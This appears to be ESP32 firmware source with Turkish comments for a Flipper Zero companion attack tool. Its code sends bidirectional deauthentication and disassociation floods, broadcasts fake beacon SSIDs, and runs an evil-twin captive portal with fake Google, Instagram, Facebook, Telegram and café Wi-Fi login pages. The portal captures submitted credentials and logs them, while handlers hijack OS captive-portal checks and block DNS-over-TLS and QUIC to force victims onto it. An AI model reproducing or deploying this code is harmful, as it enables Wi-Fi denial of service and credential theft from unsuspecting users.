// ─── Yardımcı: UART Çıkışı ───────────────────────────────────
static void tx(const char* fmt, ...) {
char buf[256];
va_list args;
va_start(args, fmt);
vsnprintf(buf, sizeof(buf), fmt, args);
va_end(args);
// Hem Flipper UART hem USB Serial Monitor
Serial1.print(buf);
Serial1.print('\n');
Serial.print(buf);
Serial.print('\n');
}
// ─── Yardımcı: Parametreden Değer Hesaplama ──────────────────
static int aggr_to_count(void) {
return (g_aggression == 0) ? 3 : (g_aggression == 1) ? 8 : 20;
}
static uint32_t hop_to_ms(void) {
/* Normal jamming taraması hızları (50, 100, 200ms).
* Kullanıcı isteği: Portal aktif olsa bile ağ düşürme (jamming) önceliklidir,
* o yüzden eski hızlı kanal taraması sürelerine geri dönüldü. */
return (g_hop_speed == 0) ? 50 : (g_hop_speed == 1) ? 100 : 200;
}
// ─── 802.11 Raw Frame Gönderme ───────────────────────────────
static uint32_t g_tx_ok_count = 0;
static uint32_t g_tx_err_count = 0;
static void send_raw_frame(uint8_t* frame, int len, bool sys_seq) {
esp_err_t err = esp_wifi_80211_tx(WIFI_IF_STA, frame, len, sys_seq);
if(err != ESP_OK) {
g_tx_err_count++;
// İlk 10 hatayı logla, sonra her 100'de bir (spam engeli)
if(g_tx_err_count <= 10 || (g_tx_err_count % 100) == 0) {
Serial.printf("LOG: TX ERROR #%lu: esp_err=%d (0x%X)\n",
(unsigned long)g_tx_err_count, err, err);
tx("LOG:TX_ERR:%d cnt:%lu", err, (unsigned long)g_tx_err_count);
}
} else {
g_tx_ok_count++;
}
}
// ─── Yardımcı: MAC Locally Administered mi? ─────────────────
// Bit 1 of byte 0 = 1 ise "Locally Administered" (random MAC)
// Modern cihazlar Probe Request'lerde random MAC kullanır.
// Data frame'lerde gerçek MAC kullanılır.
static bool is_locally_administered_mac(const uint8_t* mac) {
return (mac[0] & 0x02) != 0; // LA bit set
}
// ─── Yeni: AP'ye Client (İstemci) Ekle ──────────────────────
// only_global: true ise sadece globally-unique (gerçek) MAC'leri ekle
static void add_client_to_ap(APRecord* ap, uint8_t* mac, bool only_global) {
if(mac[0] & 0x01) return; // Multicast/Broadcast MAC ise yoksay
if(memcmp(ap->bssid, mac, 6) == 0) return; // AP'nin kendisini ekleme
// Tüm sıfır veya tüm FF MAC'leri yoksay
uint8_t zero_mac[6] = {0};
uint8_t ff_mac[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
if(memcmp(mac, zero_mac, 6) == 0 || memcmp(mac, ff_mac, 6) == 0) return;
// Random MAC filtresi: only_global modda locally-administered MAC'leri atla
if(only_global && is_locally_administered_mac(mac)) return;
for(int i = 0; i < ap->client_count; i++) {
if(memcmp(ap->clients[i].mac, mac, 6) == 0) return; // Zaten kayıtlı
}
if(ap->client_count < 8) {
memcpy(ap->clients[ap->client_count].mac, mac, 6);
ap->clients[ap->client_count].selected = false; // Flipper seçene kadar false
ap->client_count++;
} else {
// Liste doluysa en eskisini silip güncel olanı sona ekle
for(int i = 1; i < 8; i++) {
memcpy(ap->clients[i-1].mac, ap->clients[i].mac, 6);
ap->clients[i-1].selected = ap->clients[i].selected;
}
memcpy(ap->clients[7].mac, mac, 6);
ap->clients[7].selected = false;
}
}
// ─── Deauth Gönderme (Düzeltilmiş) ──────────────────────────
//
// ÖNEMLİ DEĞİŞİKLİKLER:
// 1. esp_wifi_set_mac() KALDIRILDI — raw TX'e etkisi yok,
// race condition yaratıyordu
// 2. Hem Deauth (0xC0) hem Disassoc (0xA0) gönderiliyor
// 3. Birden fazla reason code kullanılıyor
// 4. Her iki yön de (AP→Client, Client→AP) gönderiliyor
// 5. Sanity check bypass ile artık frame'ler gerçekten havaya veriliyor
//
static void send_deauth(const APRecord* ap, bool broadcast_ok) {
esp_wifi_set_channel(ap->channel, WIFI_SECOND_CHAN_NONE);
delayMicroseconds(200);
// Temel Frame Taslağı (26 byte)
uint8_t frame[26] = {
0xC0, 0x00, // 0-1: Frame Control
0x3A, 0x01, // 2-3: Duration
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // 4-9: DA
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 10-15: SA
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 16-21: BSSID
0x00, 0x00, // 22-23: Seq Control
0x07, 0x00 // 24-25: Reason code
};
// Yaygın reason kodları — farklı cihazlar farklı kodlara tepki verir
static const uint8_t REASON_CODES[] = {
0x01, // Unspecified
0x04, // Disassociated due to inactivity
0x05, // Disassociated (AP full)
0x06, // Class 2 frame from non-authenticated STA
0x07, // Class 3 frame from non-associated STA
0x08, // Disassociated (STA leaving)
};
#define NUM_REASONS (sizeof(REASON_CODES) / sizeof(REASON_CODES[0]))
int count = aggr_to_count();
// Seçili client var mı kontrol et (Listed Deauth için)
bool has_selected_client = false;
if(!broadcast_ok) {
for(int c = 0; c < ap->client_count; c++) {
if(ap->clients[c].selected) {
has_selected_client = true;
break;
}
}
}
for(int i = 0; i < count; i++) {
uint8_t reason = REASON_CODES[i % NUM_REASONS];
// ── 1. BROADCAST DEAUTH: AP → Broadcast ──────────────
// broadcast_ok=true → her zaman gönder (WiFi Jam, Complete Jam)
// broadcast_ok=false → sadece seçili client yoksa gönder (Listed Deauth, AP seçili ama client yok)
if(broadcast_ok || !has_selected_client) {
frame[0] = 0xC0; // Deauth
memset(frame + 4, 0xFF, 6); // DA = Broadcast
memcpy(frame + 10, ap->bssid, 6); // SA = AP
memcpy(frame + 16, ap->bssid, 6); // BSSID = AP
frame[24] = reason; frame[25] = 0x00;
uint16_t seq = ((g_deauth_count & 0x0FFF) << 4);
frame[22] = seq & 0xFF; frame[23] = (seq >> 8) & 0xFF;
send_raw_frame(frame, sizeof(frame), false);
g_deauth_count++;
// ── 2. BROADCAST DISASSOC: AP → Broadcast ────────────
frame[0] = 0xA0; // Disassoc
seq = ((g_deauth_count & 0x0FFF) << 4);
frame[22] = seq & 0xFF; frame[23] = (seq >> 8) & 0xFF;
send_raw_frame(frame, sizeof(frame), false);
g_deauth_count++;
}
// ── 3. UNICAST: Sadece seçili istemcilere (Veya Complete Jam'de herkese) ──
for(int c = 0; c < ap->client_count; c++) {
bool target_this = ap->clients[c].selected || (g_mode == MODE_COMPLETE_JAM);
if(!target_this) continue;
// Paket kaybına karşı aynı frame'leri 3 defa hızlıca spamla
for(int burst = 0; burst < 3; burst++) {
// -- Yön A: AP → Client (Deauth) --
frame[0] = 0xC0;
memcpy(frame + 4, ap->clients[c].mac, 6); // DA = Client
memcpy(frame + 10, ap->bssid, 6); // SA = AP
memcpy(frame + 16, ap->bssid, 6); // BSSID = AP
frame[24] = reason;
uint16_t seq = ((g_deauth_count & 0x0FFF) << 4);
frame[22] = seq & 0xFF; frame[23] = (seq >> 8) & 0xFF;
send_raw_frame(frame, sizeof(frame), false);
g_deauth_count++;
// -- Yön B: AP → Client (Disassoc) --
frame[0] = 0xA0;
seq = ((g_deauth_count & 0x0FFF) << 4);
frame[22] = seq & 0xFF; frame[23] = (seq >> 8) & 0xFF;
send_raw_frame(frame, sizeof(frame), false);
g_deauth_count++;
// -- Yön C: Client → AP (Deauth) --
frame[0] = 0xC0;
memcpy(frame + 4, ap->bssid, 6); // DA = AP
memcpy(frame + 10, ap->clients[c].mac, 6); // SA = Client
memcpy(frame + 16, ap->bssid, 6); // BSSID = AP
frame[24] = 0x08; // Reason: STA leaving
seq = ((g_deauth_count & 0x0FFF) << 4);
frame[22] = seq & 0xFF; frame[23] = (seq >> 8) & 0xFF;
send_raw_frame(frame, sizeof(frame), false);
g_deauth_count++;
// -- Yön D: Client → AP (Disassoc) --
frame[0] = 0xA0;
seq = ((g_deauth_count & 0x0FFF) << 4);
frame[22] = seq & 0xFF; frame[23] = (seq >> 8) & 0xFF;
send_raw_frame(frame, sizeof(frame), false);
g_deauth_count++;
} // burst sonu
}
delayMicroseconds(500); // Frame'ler arası kısa bekleme
}
}
// ─── Beacon Frame Gönderme ───────────────────────────────────
//
// 802.11 Beacon Frame Yapısı:
// [0-1] Frame Control: 0x80 0x00
// [2-3] Duration: 0x00 0x00
// [4-9] DA: FF:FF:FF:FF:FF:FF (Broadcast)
// [10-15] SA: Random MAC
// [16-21] BSSID: SA ile aynı
// [22-23] Sequence Control
// [24-31] Timestamp: 8 byte (genellikle 0)
// [32-33] Beacon Interval: 0x64 0x00 (100 TU = ~102.4ms)
// [34-35] Capability Info: 0x21 0x04
// [36+] Tagged Parameters (SSID IE, Supported Rates IE vb.)
//
static void build_and_send_beacon(const char* ssid) {
uint8_t frame[BEACON_FRAME_SIZE];
memset(frame, 0, sizeof(frame));
int ssid_len = strlen(ssid);
if(ssid_len > 32) ssid_len = 32;
// --- MAC Header (24 byte) ---
frame[0] = 0x80; // Frame Control byte 0: SubType=Beacon, Type=Mgmt
frame[1] = 0x00; // Frame Control byte 1: flags
frame[2] = 0x00; // Duration
frame[3] = 0x00;
// DA: Broadcast
memset(frame + 4, 0xFF, 6);
// SA: Rastgele MAC (unicast için LSB=0)
frame[10] = (uint8_t)(esp_random() & 0xFE); // LSB=0 → unicast
frame[11] = (uint8_t)esp_random();
frame[12] = (uint8_t)esp_random();
frame[13] = (uint8_t)esp_random();
frame[14] = (uint8_t)esp_random();
frame[15] = (uint8_t)esp_random();
// BSSID = SA
memcpy(frame + 16, frame + 10, 6);
// Sequence Control
frame[22] = (uint8_t)((g_beacon_count & 0x0F) << 4);
frame[23] = (uint8_t)((g_beacon_count >> 4) & 0xFF);
// --- Fixed Parameters (12 byte) ---
// Timestamp [24-31]: 0 bırak (promiscuous modda önemli değil)
// Beacon Interval [32-33]: 100 TU
frame[32] = 0x64;
frame[33] = 0x00;
// Capability Info [34-35]: ESS=1, Short Preamble=1
frame[34] = 0x21;
frame[35] = 0x04;
// --- Tagged Parameters (36'dan itibaren) ---
int pos = 36;
// SSID IE (Tag 0)
frame[pos++] = 0x00; // Tag Number: SSID
frame[pos++] = (uint8_t)ssid_len; // Tag Length
memcpy(frame + pos, ssid, ssid_len);
pos += ssid_len;
// Supported Rates IE (Tag 1) - zorunlu
frame[pos++] = 0x01; // Tag: Supported Rates
frame[pos++] = 0x08; // Length: 8
frame[pos++] = 0x82; // 1 Mbps (basic)
frame[pos++] = 0x84; // 2 Mbps (basic)
frame[pos++] = 0x8B; // 5.5 Mbps (basic)
frame[pos++] = 0x96; // 11 Mbps (basic)
frame[pos++] = 0x24; // 18 Mbps
frame[pos++] = 0x30; // 24 Mbps
frame[pos++] = 0x48; // 36 Mbps
frame[pos++] = 0x6C; // 54 Mbps
// DS Parameter Set IE (Tag 3) - kanal bilgisi
frame[pos++] = 0x03; // Tag: DS Parameter Set
frame[pos++] = 0x01; // Length: 1
frame[pos++] = g_current_ch; // Current Channel
send_raw_frame(frame, pos, true);
g_beacon_count++;
}
// ─── SSID Üretici ────────────────────────────────────────────
// g_beacon_type değerleri:
// 0 = Random (Network_XXXX)
// 1 = Custom (custom_ssids.txt'den)
// 2 = Top20 (hardcoded popüler ağlar)
static void get_beacon_ssid(char* out_ssid, size_t max_len) {
switch(g_beacon_type) {
case 0: // Random
snprintf(out_ssid, max_len, "Network_%04X", (unsigned)(esp_random() & 0xFFFF));
break;
case 1: // Custom SSID Listesi
if(g_custom_ssid_count > 0) {
snprintf(out_ssid, max_len, "%s", g_custom_ssids[g_beacon_idx % g_custom_ssid_count]);
g_beacon_idx++;
} else {
snprintf(out_ssid, max_len, "Custom_%04X", (unsigned)(esp_random() & 0xFFFF));
}
break;
case 2: // Top20
snprintf(out_ssid, max_len, "%s", TOP20_SSIDS[g_beacon_idx % TOP20_COUNT]);
g_beacon_idx++;
break;
default: // Random fallback
snprintf(out_ssid, max_len, "Network_%04X", (unsigned)(esp_random() & 0xFFFF));
break;
}
}
// ─── Portal Sayfası Oluşturucu ────────────────────────────────
static String portal_build_page(const char* page_progmem) {
String out = String(FPSTR(page_progmem));
String css = String(FPSTR(PORTAL_CSS));
out.replace("%CSS%", css);
return out;
}
// ─── Portal İçeriğini Seç ────────────────────────────────────
static String portal_get_current_page(void) {
if(g_mode == MODE_EVIL_TWIN) {
return portal_build_page(PAGE_EVILTWIN);
}
// ── Social Media Login sayfaları ──────────────────────────────────────
if(g_mode == MODE_G_LOGIN || g_mode == MODE_TARGET_G_LOGIN) return portal_build_page(PAGE_GLOGIN);
if(g_mode == MODE_IG_LOGIN || g_mode == MODE_TARGET_IG_LOGIN) return portal_build_page(PAGE_IGLOGIN);
if(g_mode == MODE_FB_LOGIN || g_mode == MODE_TARGET_FB_LOGIN) return portal_build_page(PAGE_FBLOGIN);
if(g_mode == MODE_TGM_LOGIN || g_mode == MODE_TARGET_TGM_LOGIN) return portal_build_page(PAGE_TGMLOGIN);
// ── Free WiFi / Branded portals ────────────────────────────────────
if(g_mode == MODE_SB_LOGIN || g_mode == MODE_TARGET_SB_LOGIN) return portal_build_page(PAGE_STARBUCKS);
if(g_mode == MODE_MC_LOGIN || g_mode == MODE_TARGET_MC_LOGIN) return portal_build_page(PAGE_MCDONALDS);
if(g_mode == MODE_SCH_LOGIN || g_mode == MODE_TARGET_SCH_LOGIN) return portal_build_page(PAGE_SCHOOL);
if(g_mode == MODE_PUB_LOGIN || g_mode == MODE_TARGET_PUB_LOGIN) return portal_build_page(PAGE_PUBLICWIFI);
// ── Captive Portal Mesajları ───────────────────────────────────────
switch(g_portal_type) {
case 1: return portal_build_page(PAGE_FREEWIFI);
case 2: return portal_build_page(PAGE_MAINT);
case 3: return portal_build_page(PAGE_AUTH);
default: return portal_build_page(PAGE_UPDATE);
}
}
// ─── WebServer Route Handler'ları ─────────────────────────────
// Tüm GET isteklerini portal sayfası ile yanıtla
// Bu fonksiyon start_captive_portal içinde WebServer'a bağlanır
static void handle_portal_root(void) {
if(!g_web_server) return;
String page = portal_get_current_page();
g_web_server->send(200, "text/html", page);
tx("LOG:Portal page served");
}
static void handle_portal_login(void) {
if(!g_web_server) return;
// POST verilerini yakala
String body = "";
if(g_web_server->hasArg("plain")) {
body = g_web_server->arg("plain");
} else {
// Form encoded data — tüm argümanları topla
for(int i = 0; i < g_web_server->args(); i++) {
if(i > 0) body += "&";
body += g_web_server->argName(i) + "=" + g_web_server->arg(i);
}
}
g_portal_clients++;
/* Mod'a göre credential log prefix */
if(g_mode == MODE_EVIL_TWIN) {
String pass = g_web_server->arg("pass");
tx("LOG:EVILTWIN_PASS|%s", pass.c_str());
tx("STATUS:EVIL_TWIN|Deauth:%lu Portal:%lu SSID:%s",
(unsigned long)g_deauth_count, (unsigned long)g_portal_clients, g_portal_ssid);
} else if(g_mode == MODE_G_LOGIN || g_mode == MODE_TARGET_G_LOGIN) {
tx("LOG:GLOGIN_DATA|%s", body.c_str());
tx("STATUS:G_LOGIN|Clients:%lu SSID:%s",
(unsigned long)g_portal_clients, g_portal_ssid);
} else if(g_mode == MODE_IG_LOGIN || g_mode == MODE_TARGET_IG_LOGIN) {
tx("LOG:IGLOGIN_DATA|%s", body.c_str());
tx("STATUS:IG_LOGIN|Clients:%lu SSID:%s",
(unsigned long)g_portal_clients, g_portal_ssid);
} else if(g_mode == MODE_FB_LOGIN || g_mode == MODE_TARGET_FB_LOGIN) {
tx("LOG:FBLOGIN_DATA|%s", body.c_str());
tx("STATUS:FB_LOGIN|Clients:%lu SSID:%s",
(unsigned long)g_portal_clients, g_portal_ssid);
} else if(g_mode == MODE_TGM_LOGIN || g_mode == MODE_TARGET_TGM_LOGIN) {
tx("LOG:TGMLOGIN_DATA|%s", body.c_str());
tx("STATUS:TGM_LOGIN|Clients:%lu SSID:%s",
(unsigned long)g_portal_clients, g_portal_ssid);
} else {
/* Free WiFi portals (SB, MC, PUB, SCH) + diger modlar → passwords.txt */
tx("LOG:PORTAL_DATA|%s", body.c_str());
tx("STATUS:PORTAL|Captured:%lu", (unsigned long)g_portal_clients);
}
String page = portal_build_page(PAGE_SUCCESS);
g_web_server->send(200, "text/html", page);
}
// ─── Captive Portal Detection Handlers ────────────────────────
// Her platform farklı URL'leri kontrol eder.
// Amacımız: OS'a "internet yok, captive portal var" mesajı vermek.
// iOS / macOS detection
// Beklenen: www.apple.com/library/test/success.html → 200 + "<HTML><HEAD><TITLE>Success</TITLE></HEAD><BODY>Success</BODY></HTML>"
// Biz "Success" döndürmeyip portal'a yönlendiriyoruz → iOS "Ağe Giriş Yap" popup'ı açar
static void handle_apple_hotspot(void) {
if(!g_web_server) return;
// iOS/macOS gelen isteğe doğrudan portal sayfasını ver — redirect yerine 200 ile döndür
// Bu şekilde iOS captive browser içinde sayfamız açılır
String page = portal_get_current_page();
g_web_server->send(200, "text/html", page);
tx("LOG:iOS captive check → portal served");
}
// Android: generate_204 → 204 bekler, 204 değilse captive portal var demek
// 302 redirect ÇALIŞMIYOR çünkü Android redirect destination'ı güvensiz sayıyor
// 200 OK + HTML içerik → Android "Captive portal var!" diye bildirim gösteriyor ✅
static void handle_generate_204(void) {
if(!g_web_server) return;
// 200 + portal HTML → Android captive portal notification tetiklenir
String page = portal_get_current_page();
g_web_server->send(200, "text/html", page);
tx("LOG:Android captive check (200+HTML) → portal triggered");
}
// Windows NCSI: ncsi.txt → "Microsoft NCSI" beklenir, değilse captive portal var
// Önemli: İki send() olursa crash! Sadece bir send() gönder.
static void handle_windows_ncsi(void) {
if(!g_web_server) return;
g_web_server->sendHeader("Location", "http://192.168.4.1/", true);
g_web_server->send(302, "text/plain", "");
tx("LOG:Windows NCSI check → redirect");
}
// Windows Connect Test: connecttest.txt → "Microsoft Connect Test" beklenir
static void handle_windows_connect(void) {
if(!g_web_server) return;
g_web_server->sendHeader("Location", "http://192.168.4.1/", true);
g_web_server->send(302, "text/plain", "");
tx("LOG:Windows connecttest → redirect");
}
// Linux NetworkManager captive check
// Ubuntu: connectivity-check.ubuntu.com → "NetworkManager is online" bekler
// GNOME: nmcheck.gnome.org/check_network_status.txt → "NetworkManager is online." bekler
// Fedora: fedoraproject.org/static/hotspot.html → belirli içerik bekler
// Biz farklı içerik döndürünce NM "captive portal var" der ve tarayıcı açar
static void handle_linux_nm_check(void) {
if(!g_web_server) return;
// Portal HTML'i ver → NetworkManager "internet yok, captive portal" olarak işaretler
String page = portal_get_current_page();
g_web_server->send(200, "text/html", page);
tx("LOG:Linux NM captive check → portal HTML served");
}
// Tüm bilinmeyen URL'ler → portal sayfası (catch-all)
static void handle_not_found(void) {
if(!g_web_server) return;
// Bilinen captive check hostname'leri — bunların hepsini portala yönlendir
String host = g_web_server->hostHeader();
if(host == "192.168.4.1" || host == g_portal_ip.toString()) {
// Kendi IP'mize gelen istek → direkt portal HTML
String page = portal_get_current_page();
g_web_server->send(200, "text/html", page);
} else {
// Başka host (captive.apple.com, msftconnecttest.com, vb.) → redirect
g_web_server->sendHeader("Location", "http://192.168.4.1/", true);
g_web_server->send(302, "text/plain", "");
tx("LOG:Captive redirect → %s", host.c_str());
}
}
// ─── Layer-3 Captive Hook (DNS-over-TLS Blocker) ────────────────
// Ticari AP'lerin yaptığı gibi IP paket seviyesinde müdahale.
// SADECE port 853 (DoT) paketleri düşürülür — başka hiçbir şeye dokunulmaz.
// Bu sayede Android “Private DNS: Automatic” modu plain DNS’e fallback yapar,
// ESP32’nin wildcard DNS server’ı devreye girer ve captive portal tetiklenir.
typedef err_t (*netif_input_fn_t)(struct pbuf *p, struct netif *inp);
static netif_input_fn_t g_orig_ap_input = nullptr;
static struct netif* g_hooked_netif = nullptr;
static err_t captive_packet_hook(struct pbuf *p, struct netif *inp) {
// Minimum IPv4 header (20 byte) + transport header (4 byte) kontrol
if(p && p->payload && p->len >= 24) {
const uint8_t* raw = (const uint8_t*)p->payload;
uint8_t ip_ver = raw[0] >> 4;
if(ip_ver == 4) {
uint8_t ip_hlen = (raw[0] & 0x0F) << 2;
uint8_t proto = raw[9];
if((proto == 6 || proto == 17) && p->len >= (uint16_t)(ip_hlen + 4)) {
const uint8_t* tp = raw + ip_hlen;
uint16_t dst_port = ((uint16_t)tp[2] << 8) | tp[3];
// ── Engelle: DNS-over-TLS (TCP/UDP 853) ──────────────────
// Neden: Android Private DNS → DoT → ESP32 DNS'ini atlıyor
// Düzeltme: DoT bloke → plain DNS'e fallback → ESP32 yakalıyor
if(dst_port == 853) {
pbuf_free(p);
return ERR_OK;
}
// ── Engelle: QUIC / HTTP3 (UDP 443) ──────────────────────
// Neden: DNS wildcard google.com→192.168.4.1 döner,
// Chrome QUIC (UDP/443) ile bağlanmaya çalışır,
// ESP32'de UDP/443 dinleyici yok → QUIC PROTOCOL ERROR
// Düzeltme: QUIC bloke → Chrome TCP/HTTPS'e fallback yapar
if(proto == 17 && dst_port == 443) {
pbuf_free(p);
return ERR_OK;
}
}
}
}
return g_orig_ap_input(p, inp); // Diğer tüm paketler normal akışına devam eder